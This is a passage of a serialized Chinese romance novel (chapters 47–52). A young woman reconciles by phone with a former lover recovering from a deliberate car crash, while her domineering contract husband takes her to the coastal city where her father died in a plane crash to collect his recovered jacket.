“唉,我知道这个要求可能有些过分。但是以枫他真的很爱你,你能不能……”
“能不能什么?”
秦叔越发难以启齿:“就是……能不能跟邵总一起上新闻的次数稍微少一点?警方的侦查结果已经出来了,以枫的确是自己撞上去的,他是觉得等不到你了,心存死志。我怕他身体才刚恢复,就看到你们恩爱的画面,我担心他还是会受不了……”
向晚听明白了秦叔的意思。
她思索了一下,说:“秦叔,明天,我找个时间去看看他。”
秦叔喜出望外:“真的吗?可是你现在不是跟邵总一起出去度假了吗?明天能回得来吗?”
“我人就在H市,我没出去。”
秦叔也懵了:“可是新闻上写了,还有照片……”
“秦叔,事情有点复杂,而且我跟邵寂野应该还要在一起一段时间,明天我亲自去一趟,跟以枫说清楚原委。”
“小晚。”
这个声音……
熟悉的让她有些心酸。
三年了,除了上一次亲耳听到他出车祸,向晚终于再一次听到他低声叫自己小晚。
秦以枫的声音微微带着沙哑,还没什么力气,但小晚两个字叫的温柔又缠
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绵。
向晚顿时鼻子有点酸,“嗯,是我。”
“对不起,我好像给你添麻烦了。”秦以枫略带抱歉的说:“原本我是想一**之的,谁能想到现代医学太厉害了,这样都能把我给救回来。”
向晚眼圈微微泛红:“你傻不傻啊?不是说好了去德国进修吗?死什么死!”
“小晚,别哭。”
向晚有些忍不住哭腔,也忍不住在他面前作一作:“我没哭!我们打的是电话又不是视频,你哪只眼睛看到我哭了?”
“我听出来了。”
“你听错了,我就是最近喝水喝少了,嗓子哑了。”
秦以枫轻笑了几声,声音依旧温柔如水:“小晚,这三年我没在你身边,你是不是都没有好好喝水?”
向晚吸了吸鼻子,有些克制不住哭腔:“总是忘。”
“我就知道。”秦以枫宠溺地叹了口气:“以前丢三落四没心没肺的小晚,现在不得不在人家屋檐下讨生活,小晚,是我没用,不能好好照顾你。向伯伯在天上,恐怕也会觉得我无能吧。”
“你要是**,我爸才会觉得无能。”
秦以枫思索了一下,说:“这些天我一直昏迷着,虽然动不了,也发不出声音,但是思维还是自由的。我其实也后悔了,当时听到你叫我去德国,说以后各走各的路,我只觉得天都塌了,活下去没什么意思。还不如**,在奈何桥边上等着,等几十年后你来了,跟你一起去投胎。”
“傻子。”
“你说得对,我是有点傻。这辈子我们还没过完,我们两个还年轻,我也不一定等不到你,对不对?”
向晚心里一阵酸楚:“以枫,我想去滑雪了。”
“等我好了,我们就去。我在下面接着你,你尽管滑,不用怕。”
向晚破涕而笑:“我还想画画。”
“好,我陪你去。法国的薰衣草你画过吗?”
“我想画你,就像以前那样。”
秦以枫这次没有立刻回答,而是轻咳了两声,微微有些慌张,压低声音说:“这是我爸的手机,他就在边上呢。”
第四十七章 就当我是在道歉
向晚不以为意:“我又没说画什么,你穿着衣服我也能画啊。”
秦以枫也闷闷地笑:“好,不过我这次身上大概会多不少伤口,没有以前那么好看了。”
“谁说的?伤口是男人的勋章,伤口越多的男人越man。”
秦以枫微微笑开:“你是个画家,我以为你会喜欢完美的东西。”
“我可是艺术家,艺术就是要有伤痕才叫艺术。”
“小晚,我想见你”
“明天,明天我就去看你……诶!”
电话还没挂断,身子就从背后被拥住了。
邵寂野的手臂伸到她身下,微微一用力,就把她抱了起来:“明天要去看谁?”
他扫了一眼向晚的手机屏幕,发现又是秦叔的名字,微微蹙眉:“你天天跟一个半老头子有这么多话要说?”
他不由分说地从她手中把手机抽了出来,随手往床上一扔。
可床垫有弹性,手机又被弹了起来,哐啷一声掉了下去。
“邵寂野,我电话……”
“别打电话了,不知道的还以为你是干淘宝客服的,每天那么多电话要打。”
“邵寂野你等一下,我手机掉地上了!”
向晚在他怀里扑腾,手机掉地上了不要紧,主要是还没挂断。
邵寂野才不理,在她小屁股上拍了一下:“乖一点,再乱动我可不保证接下来会发生什么。”
向晚又气又急。
气的是邵寂野这人怎么能如此蛮横不讲理。
急的是电话那头的秦以枫不知道听没听到邵寂野刚才那句话。
她怕他听了,又出什么意外。
邵寂野身高腿长,三两步就抱着她进了浴室,用脚踢上了门,把一切都隔绝在外面。
向晚没穿鞋,他直接把怀里的人放在自己脚上站着,然后伸手去够毛巾。
浴室里应该是开了暖风,热烘烘的,暖的人眼睛都有些睁不开。
偏偏地板很冰。
向晚用脚尖试了一下,冰的她立马退了回来,继续站在邵寂野的脚上。
他骨骼本身就宽大,连脚都比普通男**一号。
向晚踩得还算稳当。
她又故意用了点力往下踩。
邵寂野一手捏着毛巾,一手虚虚地搂着她,挑眉,似乎是在无声询问:“你干什么?”
向晚说:“我没穿鞋。”
邵寂野白了她一眼,仿佛洞悉了她的小报复:“好好站着。”
然后微微俯下身,去试了试水温。
“你让我出去穿一下拖鞋行吗?”
邵寂野没好气:“你是要出去穿鞋吗?”
电话没挂断,他也看见了。
向晚深吸了一口气说:“你要做什么事能不能跟我说一声,你这样每次都强迫我去做别的事,多少有些不尊重我了。”
邵寂野停下搅动温水的手,重新站好。
他的身高足以把头顶的光源遮挡掉,向晚只能被迫待在他的阴影里。
“……算了,你当我没说。”
邵寂野今天的温柔,到底是让她有些放下戒备了。
自己有什么值得他尊重的?
邵老太太拿她当剪刀,邵寂野拿她当抹布。
擦掉他看不惯的脏污,还能顺便恶心邵老太太一把。
等谭家的事情解决了,他第一个扔了的就是她。
不过邵寂野不知道的是,她也在等那一天。
她甚至盼着邵寂野能尽快解决,那么她也能尽快脱身,去欧洲找妈妈和秦以枫。
“那晚的事……对不起。”
邵寂野的声音有些低沉,还有些沙哑。
向晚微微愣住。
他烦躁地蹙眉,显然道歉对于他这样的天之骄子来说,并不是一件容易的事。
“那天我知道了一些事,心情很不好,”邵寂野垂着眼神,看向别处:“我在家里等了你很久,你都没回来。”
那天,她去了疗养院,还去医院看了秦以枫,所以才回来晚了。
可是白荷不是在家么?
他等了三年,跟邵老太太虚与委蛇了三年,才终于能把白荷接到身边来,不是应该珍惜每一分每一秒跟她相处么?
向晚说:“我不知道你在等我,你找我到底是有什么事啊?”
邵寂野看向她,很快就移开了,“没事。”
“你把我都撕裂了,总得让我
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知道原因吧?”
“今天上药了么?”
“早上我自己上了。”
邵寂野“嗯”了一声:“一会儿我帮你上。”
他扶着向晚坐在浴缸边上,然后用毛巾在热水里沾湿,仔细而温柔地帮她擦洗身体。
向晚说:“我自己来吧。”
邵寂野没说话,只是依旧固执地干活。
向晚知道他的脾气,拗不过他,也就随他去了。
等擦洗完,他用大浴巾把她整个人都包裹好,又抱了出去,轻轻放在床边,然后半跪在地上帮她擦脚。
这样的邵寂野,让向晚觉得有些陌生。
“好了。”
邵寂野站起来,把她的擦脚毛巾随意地搭在肩膀上,又去拿吹风机给她吹头发。
热风一吹,向晚情不自禁地抖了一下。
她一把握住邵寂野拿吹风机的手,恳切道:“你要不然还是先跟我说清楚吧,你这样我真的有点害怕。”
邵寂野看了看她搭在自己手腕上的莹白纤细的手指,轻声问:“说清楚什么?”
“你今天对我这么好,我总觉得是以前死囚行刑前要吃一顿饱饭。”
邵寂野问她:“你怕死吗?”
“当然怕啊,谁不怕?”
“那你相信有人会为了另一个人**吗?”
向晚顿了一下。
点头。
“我信。”
她想起了秦以枫。
她之前总觉得,这辈子跟秦以枫没有希望了,所以盼着他能尽快走出来,过上好日子。
可秦以枫的这一撞让她彻底明白了,这三年来他的一切看起来正常的生活轨迹,其实都是装出来的。
她痛苦,他更痛苦。
甚至他还得亲耳听着爱人说着绝情的话,祝他前程似锦。
事情已经过去了许多天,她才终于明白了秦以枫的绝望。
邵寂野说:“我也信。”
向晚问道:“三年前的车祸,白荷伤的很严重吧?”
他是不是也曾经想过,要随白荷而去。
邵寂野眼神闪了闪,显然不太想提起三年前的旧事:“放心吧,不是断头饭,你就当是我……在道歉。”
第四十八章 跟我走吗?
他继续给她吹头发。
自己身上的衣服全都湿了,黏糊糊地贴在身上,把里面的肌肉线条全部勾勒了出来。
从向晚的角度看过去,能看到他整整齐齐排列好的八块腹肌,硬邦邦的,像小时候外婆用的搓衣板。
邵寂野注意到她的视线,微微勾了勾唇:“向大艺术家品鉴一下,如何?”
向晚眨了眨眼:“挺好的。”
“挺?”
“非常好。”
“够资格给你当模特吗?
“那我可请不起。”
邵寂野嗤了一声:“又给我装。”
向晚一脸莫名,她装什么了?
夸他都不行?
真难伺候。
头发很**干了,邵寂野的手指在她的发丝间轻柔得梳理着,“你先睡,我去冲个澡。”
一转身,他的脚不经意间踩到了一个东西。
有玻璃碎裂的声音。
邵寂野弯下腰把手机捡了起来,来回翻看了一下,直接扔进了垃圾桶里:“明天给你买新的。”
等邵寂野去了浴室,水声响起,向晚立刻翻身下床,把战损版的手机找了出来。
整个屏幕,稀碎。
后壳也彻底变形了。
她试着按了几下开机键,毫无反应。
向晚恨恨地看向浴室的方向,她十分怀疑,邵寂野就是故意的。
反正明天也要去医院跟秦以枫见面,到时候再跟他解释清楚就好了。
邵寂野这个澡洗了很久。
向晚迷迷糊糊从后面被拥住的时候,鼻息间还有淡淡的水汽。
“你怎么洗这么久?”
邵寂野在她唇上亲了亲:“处理了一下个人问题,睡吧。”
第二天早上醒来的时候,入眼就是楚卫的后脑勺。
车子在飞驰,楚卫开车,她和邵寂野在后座。
向晚猛地醒了过来:“这是去哪儿?”
邵寂野把她扒拉回自己怀里,指着不远处的建筑:“机场。”
向晚顿时脸色苍白:“干什么去?”
“你不是最喜欢梵高?前两天朋友在别的地方遇到了一片很大的向日葵花田,据说很漂亮,带你去看看。”
向晚顿时有些微微生气:“我不想去,我能不能不去?”
邵寂野揉了揉她的发丝:“都快到了。”
“邵寂野,你要是有空,就回长白山跟白荷滑雪吧。我已经很久不画画了,也不想看向日葵。”
邵寂野神色微微沉了沉。
楚卫在前面说:“太太,邵总是想带您去F市。”
F市。
爸爸的飞机失事就是在F市。
F市临海,据当时的飞机事故报告说,飞机是在刚出F市到达海上的时候遇到了强风暴。
飞机在空中就解体了,整个飞机的残骸都落入了苍茫大海。
后来国家组织了救援和打捞,还发动了一些当地渔民帮忙,但也仅仅只收获了一些很少量飞机的残片。
打捞工作进行了半年,直到最后结束,都没能发现遇难者的任何遗体或遗物。
那时候妈妈已经出了车祸,在医院ICU里昏迷不醒,向晚独自一个人来到了F市。
她还记得有一个很慈祥的伯伯,是主持这次打捞工作的领导。
他很温柔地对向晚说:“孩子,带一瓶海水回去吧,以后你爸爸就是浩瀚的海洋,一直陪伴着你。”
跟向晚一样的,还有很多遇难者家属。
不同的是,他们身边都有同伴,三人五人的抱在一起,哭作一团。
而向晚,只有一个人。
那段时间秦以枫正好去了非洲当无国界志愿者,他是学医的,心怀大爱。
去非洲当无国界医生是他一直以来的梦想。
夜深人静的时候,向晚犹豫再三,还是没告诉他,独自办完了一切。
楚卫说:“有个当地渔民在海边发现了一件衣服,交到了警察局,很有可能是老向总的。邵总在那边有朋友,立刻通知了邵总。”
向晚顿时激动起来,“什么样的衣服?”
邵寂野说:“跟我走吗?”
“你先告诉我什么样的衣服!我爸爸走的时候穿着一件棕色的夹克,还有深蓝色的衬衫……”
向晚努力回忆着,眼圈微微泛红:“深灰色的裤子,还有一条米色的围巾。”
邵寂野长叹一声,把她搂紧:“走吧,我陪你去看看。”
到了机场,过了安检,直奔登机口。
广播已经在呼叫他们两个的名字了。
邵寂野应该是买的
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最早的一趟航班。
上了飞机,向晚还有些恍惚。
三年多了,爸爸的衣服还有可能被找回来吗?
会不会一切都只是空欢喜一场?
“喝点热水。”邵寂野问空姐要了一杯热水,递给她。
向晚没接:“邵总,能借你手机用一下吗?”
邵寂野挑眉。
向晚有些丧气,他的手机里那么多秘密,有商业的有个人的,怎么会放心她用。
于是她去问坐在前排的楚卫:“楚助理,我能用一下你的手机吗?我就打个电话,保证不乱看。”
楚卫干笑了一下,瞄了一眼邵寂野:“太太,这……可能不太合适。”
每个人的手机里都有很多隐私,不愿意外借也正常。
向晚没觉得什么,站起身想要去找空姐问问。
刚站起来,就被拉住了手腕。
邵寂野堵在外面,他不让路,向晚根本出不去。
他定定地看着她,好一会儿:“非要打这个电话不可吗?”
“我答应了秦……秦叔,今天会去看他的。”
邵寂野的眼神里有着洞悉一切的了然和冷意:“他一时半会死不了。”
“可是答应了别人的事,现在去不成了,总得跟对方说一声。”
“我说的是秦以枫。”
向晚哽住。
邵寂野掏出自己的手机,递给她:“打吧。”
向晚咬着唇,犹豫了一下,终究是对秦以枫的担忧占了上风,于是小心翼翼地接过:“谢谢邵总。”
邵寂野皱眉别开脸去不想看她:“赶紧的,马上起飞了。”
凭着记忆,向晚拨通了秦叔的电话。
可是响了好多声都没人接。
向晚又打了两个,依旧无人接听。
她发了个短信过去,告诉秦叔她要去F市一趟,回来了就去医院。
“邵总,手机。”向晚双手把手机递了过去。
邵寂野接过来看都没看就塞回了外套口袋里:“现在放心了?”
“……嗯。”
其实还是有点不放心,毕竟没有亲耳听到秦以枫的声音,她总是觉得心里七上八下的。
邵寂野按灭了头顶的灯光,把毯子披在她身上:“睡一会儿吧,睡醒就到了。”
第四十九章 就当带我这个女婿来拜见一下岳父
飞机广播提醒,让大家关机或者把手机调成飞行模式。
很快,飞机开始滑行。
向晚睡不着,一想到有希望能找到爸爸的遗物,她就觉得心跳开始加速。
爸爸是她的保护神,是从小到大帮她撑着天的巨人。
倘若爸爸还在,或许她的命运就不会沦落至此。
飞机爬升到一定高度,平稳了之后空姐开始发放饮料。
邵寂野说:“要温水,两杯,谢谢。”
他把其中一杯递给向晚:“喝点,润润嗓子。”
下了飞机,楚卫已经联系了车,直接载着他们去了警局。
在警局里,向晚看到了那条熟悉的棕色立领夹克。
她几乎是一眼就认了出来,瞬间泪水决堤。
邵寂野看到了她的反应,去跟警方做了交涉。
警方问道:“你是向天隆的什么人?”
邵寂野说:“女婿。”
警方点了点头,核实了两人的身份证后,把衣服交给了他。
邵寂野珍而重之地把衣服折叠整齐,拿在手里,沉声问道:“警察同志,请问还有其他的遗物吗?”
警方摇了摇头:“三年前那场飞机事故是从八千米的高空坠落下来的,飞机在空中已经解体了,基本是没可能了。这件外套也是渔民偶然间发现的,已经算是幸运的了。其他家属连遇难者的任何一件遗物都没有呢。”
邵寂野缓缓点了头:“多谢。”
“没事,这是我们应该做的。你太太这么年轻就失去了父亲,这次找到了爸爸的衣服,应该也能慰藉一下了。”
“嗯。”
邵寂野跟警方道别,刚转身,就看到向晚红着眼睛,有些祈求地看着他:“这件衣服能给我抱着吗?”
邵寂野颔首,把衣服递给她。
向晚立刻像是得到了珍宝一样,把衣服紧紧抱在怀中,放在脸上贴了贴。
楚卫接了个电话,凑过来在邵寂野耳边说了几句,邵寂野眸色一沉,轻声说:“这些人是该收拾了。”
楚卫问道:“现在订返程的机票吗?”
“不,”邵寂野说:“现在所有人都以为我和向晚都在长白山,正好是这些人松懈的时候。这些老家伙们在公司里当山大王够久了,以为远在F市我就鞭长莫及?这趟过来,正好彻底把他们解决了。”
楚卫立刻明白了邵寂野的意思,“那我订票回去,在公司里坐镇,方便接应您。”
邵寂野认同:“好。”
“那太太是跟我一起回去吗?我派人去别墅里守着,绝对万无一失,”
邵寂野想了想,说:“她过去几年太累了,正好在F市散散心。”
楚卫舔了舔唇,迟疑道:“您是担心秦以枫那边?”
邵寂野猛地挑眉:“我怕他?”
楚卫摸了摸鼻子,眼观鼻鼻观心。
他跟着老板也有十年了,从他二十岁刚从老太太手里接手公司开始,他就是邵寂野的特助。
名义上是特助,私下里其实跟好兄弟也差不多。
邵寂野的心思,他还是能看出来一点的。
论事业,论城府,哪怕是论外表,邵总都是一点不怵的。
但是论起太太的心思,这可就说不准了。
楚卫沉声问:“您预备在F市待多久?”
“现在很多媒体都报道了,我跟向晚要在长白山待半个月。”
“好,我知道该怎么做了。”
楚卫离开的时候,跟向晚打了声招呼:“太太,我有事就先回H市了。”
向晚问:“邵总不一起吗?”
“他……”
邵寂野走了过来,在她身边站定:“你不想在F市多留几天吗?说不定还会有其他渔民捡到遗物送来警局。”
向晚知道,希望渺茫。
但她的确是想多留几天的。
这三年的日子过得太过忙碌压抑,以至于爸爸最后来到过的地方,她都没有时间好好的逛一逛。
“那你呢?你也不回去吗?”
邵寂野玩世不恭地笑:“我也想陪陪我的岳父大人啊。”
向晚知道他在鬼扯。
这家伙肯定心里又在盘算着什么主意呢。
邵寂野望向天空,轻声说:“今年,是你爸爸去世的三周年了。”
“嗯。”
“想办个葬礼吗?”
H市的风俗,过世三年是要大办一下的。
爸爸去世的时候,天隆集团风雨飘摇,妈妈危在旦夕,妹妹天真无邪,一大堆的事情等着她去处理,爸爸连个葬礼都没有。
向晚吸
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了吸鼻子,“算了,这里也不是他的家,在这里办也没什么人来的。”
“那就好好休息几天吧,就当带我这个女婿来拜见一下岳父。”
楚卫临走的时候,给他们两人订了酒店。
原本F市也是有分公司的,完全可以派车来接,但邵寂野和楚卫都没有通知分公司,出了机场也是打车来的警局。
向晚毕竟在人事部干了三年,对邵氏的人事情况算是比较了解。
邵老太太年轻的时候十分厉害,丈夫去世的早,当时儿子才七八岁。
她辛苦把儿子带大,一边管理公司一边教儿子,好不容易儿子长大娶妻生子,自己准备功成身退,结果小夫妻因为一场车祸双双遇难,只留下了邵寂野这么一棵独苗。
邵老太太对邵寂野从小就寄予厚望,对他的一切都掌控的很严格。
为了培养他成才,高压是少不了的,邵寂野几乎没有童年,小小年纪就开始进入了地狱难度的学习模式。
幸运的是,邵寂野的确很出色,甚至远超邵老太太的预期。
只是在婚姻大事上,跟邵老太太产生了巨大矛盾,祖孙情分差点毁于一旦。
但两人毕竟是血亲,而且还是这世界上唯一的亲人。
所以即便邵寂野被邵老太太剥夺了童年,掌控了整个童年和少年时代,他们依旧是有情分的。
这也是“邵太太”难当的原因。
祖孙两个现在虽然不睦,但打断骨头连着筋,不是一个女儿可以扭转局面的。
更何况,这两个人都不是什么善茬,一不留神就会当了这对祖孙互相斗法的炮灰。
向晚能在这个位置上当三年,自有她的一番相处智慧。
但那都是在H市总公司的时候了。
邵老太太执掌邵氏将近四十年,集团里多的是她提携的人,这些人都是邵寂野的叔叔伯伯辈,对他这个小辈并不十分服气的。
总公司还好,邵寂野已经基本换掉了大部分老顽固,替换上了自己的人,比如胡威和卢杰明,还有楚卫。
但各地的分公司,基本还都是听邵老太太的。
向晚抱着爸爸的夹克跟在他身后,看着他宽厚的肩膀和转头时微微凝重的眼神,大概有些猜到他的目的了。
第五十章 “邵太太”这个位置就是一个火坑
邵寂野带着向晚回了酒店。
或许是考虑到她刚拿到父亲的遗物,情绪比较低落,邵寂野没带她出去吃,直接去了酒店的餐厅。
餐厅外就是海边的椰树长廊,这个月份还不是旅游旺季,人并不算多。
向晚吃不太下,撑着下巴看着窗外。
今天天气不错,海面上一片湛蓝,隐隐约约还能看到远处有一栋高耸入云的金色建筑,在阳光的照耀下仿佛能闪瞎人的眼睛。
向晚问:“那个建筑是什么?”
旁边那一桌是一对退了休的老夫妇,口音夹杂着本地土话,一脸的恨意:“还能有什么,邵氏盖的大楼!为了盖那一栋楼,害的多少村民无家可归!呵,我天天看新闻啊,邵氏的老总长得倒是人模狗样的,可惜是个黑心肠的!自己天天带着不同的女人风花雪月,他压根不知道老百姓都被欺负的饿**!”
阿姨越说越气愤:“资本家就是黑心鬼!他身边那么多女人,当心哪一天不能人道哦!”
向晚顿时看向了坐在自己对面的邵寂野。
他像是个没事人似的,自顾自吃饭,察觉到她的目光,还微微挑眉:“看**什么?吃饭。”
叔叔阿姨就在隔壁桌,说话声音越来越大,一开始还是有点方言的普通话,后面就彻底成了本地土话,向晚听不太懂,但从阿姨的神色里也能看出来,估计不是什么好话。
向晚低下头,往自己嘴里塞了一块西兰花,百无聊赖地嚼着。
阿姨突然问了一句:“你们是来度蜜月的吧?”
向晚正要否认,邵寂野接过了话,态度很谦和:“算是吧。工作忙,结婚之后一直没时间,这段时间正好空了,带她出来走走。”
阿姨叹了口气,提醒道:“你们在海边玩玩可以,千万别去邵氏大厦那边。”
向晚也有些好奇:“为什么呀?”
“那个公司里的人,没好人。”阿姨扁了扁嘴,一脸的嫌弃:“老板是个花花公子,下面的人更是大胆。那边原来是一个渔村,里面好多渔民都是靠打渔和养殖为生。结果邵氏不知道为什么看上了那块地方,逼着老板姓搬走。人家祖祖辈辈住在那里多少年啦!好多人都不愿意搬,结果……”
叔叔拍了拍阿姨的手肘,提醒道:“在外面不要乱说话。”
阿姨有些愤愤不平,但看得出来是憋了一肚子的话想说,却不能说。
向晚问道:“如果是已经买了地皮,那应该就是合法的吧?”
“合法?”阿姨终究是憋不住了,“邵氏财大气粗,拿一块地而已,疏通疏通关系就好啦。但是给老百姓的拆迁款总是要给的吧?不然你让他们住哪里去?”
“……邵氏没给拆迁款?”
“说是要给,但是一而再再而三的拖,十五年啦!好多渔民买不起城里的房子,租房子离海边又远,干脆拖家带口的住在船上。结果去年来了一场台风……**不少人。”
原本以为只是渔民们对拆迁款金额有些不满。
没想到居然还出了人命。
向晚这下彻底吃不下去了,放下了筷子。
邵寂野是十一年前才从邵老太太手里接手了邵氏集团,十五年前的事,应该跟他无关。
只是骤然间听说有人因为这场拆迁而死亡,还是让向晚心情有些沉重。
阿姨拍了一下大腿,似乎下了某种狠心,“小姑娘,你们是外地人吧?在F市一定要记得,不能说邵氏的坏话,他们就是这里的土皇帝,谁说了邵氏坏话,都要被报复的。”
她旁边的叔叔一脸神情灰败,淡淡地对邵寂野说:“也不要带你媳妇过去,邵氏在F市为所欲为,上周还听说有好几个女学生去了那边拍照,再也没回来。”
越听越吓人了。
向晚问:“家属报警了吗?”
“报了,但是警察也不敢进去查,人家上面有人,谁查谁就工作都得丢。”
吱——
邵寂野站了起来,椅子跟地面摩擦发出刺耳的声音。
他问向晚
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:“吃好了吗?”
向晚连忙跟着站了起来:“吃好了。”
“走吧,出去逛逛。”
“……好。”
邵寂野大步流星地离开,向晚跟叔叔阿姨笑着点头算是告了别,赶忙追了过去。
他并没有走远,就在酒店大堂等她。
向晚小跑着跟上:“要去那个金灿灿的大厦么?”
邵寂野看了看她,眼神微微软了下来:“今天先不去,你先好好休养几天。”
她还带着伤,走路和小跑的姿势还是有些不得劲。
邵寂野眼中划过一丝内疚,轻轻牵起她的手,“先回房间。”
这次,邵寂野走的很慢。
向晚被他牵着,慢悠悠地走,倒也没觉得疼了。
回到房间内,邵寂野第一件事就是烧热水。
向晚看着他拧开矿泉水瓶盖,把水倒进烧水壶里,按下开关,动作异常熟练。
她有些啧啧称奇:“你这三年,真的一直住在酒店啊?”
邵寂野又拧开了一瓶矿泉水,“嗯”了一声:“我骗你做什么?”
“我还以为你在外面有其他别苑。”
邵寂野嗤她:“还别苑,我又不是古代人。”
“以你的能力,重新买个别墅应该也不难吧?”
“不喜欢住别墅,”邵寂野说:“我不喜欢太大的房子,空荡荡的一个人,说话都能听到回声。”
向晚其实很想吐槽,他哪儿有空的时候啊。
这三年里她打发掉的那些女孩子,基本都是按时间顺序排列,少的一个月,多的两三个月,邵寂野身边可从来没有少过人。
邵寂野似乎猜到了她心中所想,挑眉看她:“脑子里又骂我什么呢?”
向晚摇头:“我哪儿敢骂你,你现在可是我的甲方爸爸。”
邵寂野微微勾了勾唇,垂眸轻声道:“这世上还有你不敢的事儿?明知道“邵太太”这个位置就是一个火坑,一个弄不好,连温甜甜的下场都捞不到,你还敢闷着头往里撞。”
第五十一章 你妈妈也是我岳母
说起温甜甜,向晚都有些忘记这个人了。
那个死心眼的姑娘,自从被邵老太太以**的名义送进警局,至今音讯全无。
向晚问道:“她应该不会判很重吧?”
邵寂野说:“我让楚卫去给她找了律师,应该不会坐牢。”
不知道为什么,向晚处理过他那么多女人,也不乏漂亮的聪明的,但温甜甜给她留下的印象最为深刻。
不只是因为她是邵寂野的上一任,更是因为这姑娘确实是用了真心了。
“她是真的爱你。”向晚说。
邵寂野在沙发上坐下,抱着手臂看她:“你觉得我很渣,对吗?”
这让她怎么说?
谈了这么多女朋友,这如果不叫渣还有什么叫?
不过转念一想,向晚突然有些明白了。
为什么他这三年一直莺莺燕燕不断,大概是为了更好的隐藏白荷还活着的事实。
只有他被花花世界迷了眼,邵老太太才会相信白荷是真的**,当初那场车祸,应该还有一些隐情在里面。
比如白荷的“尸体”到底是谁,又或者说,那场车祸里根本就没有尸体。
向晚问:“温甜甜现在出来了吗?”
“还没有。”
“既然你已经插手了,为什么不把她从看守所里先弄出来?”
“她在里面反而更安全。”
邵寂野用牙咬出一支烟含在唇齿间,正要点燃,突然想起了什么,皱了皱眉,又把香烟拿了起来扔进垃圾桶里。
向晚说:“这个酒店我看过了,没有标注无烟。”
邵寂野却说:“你嗓子不要了?”
向晚一愣。
说话的功夫,水烧开了。
邵寂野走过去,用一次性杯子先倒了半杯冷水,再把刚烧开的水兑了进去。
自己尝了一口,确定温度适宜,才走过来递给她:“喝水。”
向晚有些莫名:“我不渴。”
邵寂野把温开水塞进她手里:“不渴也喝点。”
他拨通了酒店的内线电话:“有口香糖吗?送一点上来。”
向晚小口小口地抿着温水喝。
冬季的F市虽然不算冷,但空气还是有些干燥的。
再加上刚刚酒店的饭菜有些偏咸,她确实觉得嗓子有微微的不舒服。
温水顺着喉咙划过,像是龟裂的土地终于等来了雨露,格外舒服。
很快,服务生送来了口香糖。
邵寂野剥开一个塞进嘴里咀嚼着。
向晚觉得,来到F市后,邵寂野似乎变了一个人,这三年她从来没见过邵寂野吃口香糖。
他说:“心里烦,又不能抽烟,嚼口香糖缓解一下。”
他说心里烦,应该是跟刚刚在餐厅里那对老夫妇说的话有关。
邵氏在当地人心目中居然是那样一个龌龊残暴的形象,这让他怎么高兴的起来。
向晚问道:“是以前的老股东?”
“嗯,”邵寂野说:“最开始是跟着我爷爷,爷爷走后,邵氏成了一盘散沙,很多人都离开了,业务一下子陷入停滞,奶奶独木难支。是主动要求来到F市分公司,这才稳住了邵氏的根基。”
“F市的分公司这么重要?”
“那个时代是个土木基建的时代。拿地皮,开发,盖楼,再卖出去,利润空间很大。国内的工程队基本都是F市的人,邵氏的也是。如果工程队被其他公司挖走,逾期交不了房要赔偿违约金,而且房子没办法卖出去的话,连前期投入也收不回来,过不了多久邵氏的资金链就会断裂,到时候一切都全完了。”
过去的二三十年,的确是土木建筑的黄金年代。
邵寂野的爷爷是也个很有远见的人,提前开始布局买地,在房地产时代和时代的浪潮下乘风而起,彻底成为了国内建筑行业的龙头。
只是最近几年房地产行业逐渐冷却,新兴行业集中在互联网。
邵寂野接手后最开始就招了一批顶尖大学的计算机毕业生,另起炉灶开始主攻互联网算法。
因为这件事,邵寂野也跟邵老太太起了不小的摩擦。
这也为之后她反对白荷埋下了隐患。
邵老太太的所有荣耀和希望都在于守住丈夫打下的家业,邵寂野要改变主营业务另立山头,这本身就让邵老太太觉得这个孙子翅膀硬了不受控。
倘若再娶了一个不听自己话的孙媳妇,两口子团结一心大刀阔斧的改革,那邵老爷子留下的底子怕是要彻底没了。
她不能接受这样的结果
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,所以态度非常强硬,孙媳妇的人选只能是谭璇。
谭璇跟她是同心同德的,她们可以联合起来一起阻止邵寂野“瞎胡闹”。
邵寂野问:“上次在医院里开的中药,锦绣有继续炖给你喝吗?”
向晚轻声说:“没顾得上。”
“因为她要准备考研?”
“主要是我一直腾不开空,事情多,忙忘了。”
邵寂野蹙着眉,有些不高兴:“温甜甜之后就没谁可让你忙的了吧?你都在忙什么?”
“我妈一直住在二叔家里,过得不好,我在给她找疗养院,想把她接出来。”
邵寂野闻言,微微有些诧异:“你去找疗养院,是为了你妈妈?”
向晚点头:“嗯。”
“我还以为……”
“以为什么?”
“没什么。”邵寂野从她手里接过空杯子,又给她兑了一杯温水:“你怎么不跟我说。”
向晚仰着头看他:“你事情多,而且那是我妈,我自己解决就好。”
“你妈妈也是我岳母。”
向晚干笑了一下:“暂时是。”
邵寂野没计较她的话,态度变得十分温和:“你需要钱,也是为了给你妈妈交疗养院的费用是吗?你找的那家疗养院还可以,我让楚卫查了一下,医疗器材和人员配备都算是国内最好的一批。”
向晚心里咯噔一声。
他知道自己找疗养院的事。
他突然发疯把自己弄伤的那一天,就是她去疗养院所以回家晚了的那一天。
邵寂野轻声说:“等我们回去了,我开车陪你回一趟向家,接你妈妈去疗养院。”
“其实我自己可以的。”
邵寂野说:“有我在会顺利一点。”
这话倒是真的。
二叔现在掌握着家里的财产,这几年逐渐膨胀的不行。
向晚本来是准备花钱去雇一队保镖的,方便把妈妈抬下来,也能起到震慑的作用。
但如果邵寂野亲自去了,二叔就算再膨胀,也知道现在的财神爷是谁。
没了邵寂野这个聚宝盆,他和如今的天隆集团都会分分钟被打回原形。
邵寂野轻轻捏了捏她的手,柔声道:“我们尽快结束这里的事,回去接你妈妈。”
第五十二章 谢谢夸奖,邵太太
向晚提出:“能不能借用一下你的手机?”
邵寂野没有直接拒绝,但是也没有立刻答应:“打电话给谁?”
“我妈,我好久没回去看她了,我想知道她好不好。”
邵寂野垂着眼睛,把手机递给她:“我还以为你又要打电话给你那个什么秦叔。”
向晚拿到手机,可是屏幕锁着。
“邵总,帮忙解个锁?”
“0323。”
向晚的手指悬在了屏幕上。
3月23日,她的生日。
邵寂野见她半天没动,问了一句:“没解开吗?”
“邵总,这个密码……”
“我跟白荷第一次相遇的日子,怎么了?”
向晚摇了摇头:“没什么。”
果然,只是个巧合。
她拨了一个号码出去,不过许久都没人接听。
一直等到机械的女声播报:您拨打的电话暂时无人接听,请稍后再拨。
向晚立刻又拨了一次,可依旧是这样的结果。
不知道为什么,她的心开始微微悬了起来。
妈妈动不了,只能躺在床上,手机从来不离身,怎么会无人接听呢?
就算是关机,还有可能是没电了,可是手机明明通了,却没有人接,这让向晚不由得有些担心。
不远处,邵寂野问她:“打不通?”
向晚满脸担心:“一直没人接。”
“手机给我。”
邵寂野从通讯录里找出来一个号码,拨了出去。
这一次,电话很快就通了。
二叔向天健谄媚的声音立刻响了起来:“邵总?真的是您啊!”
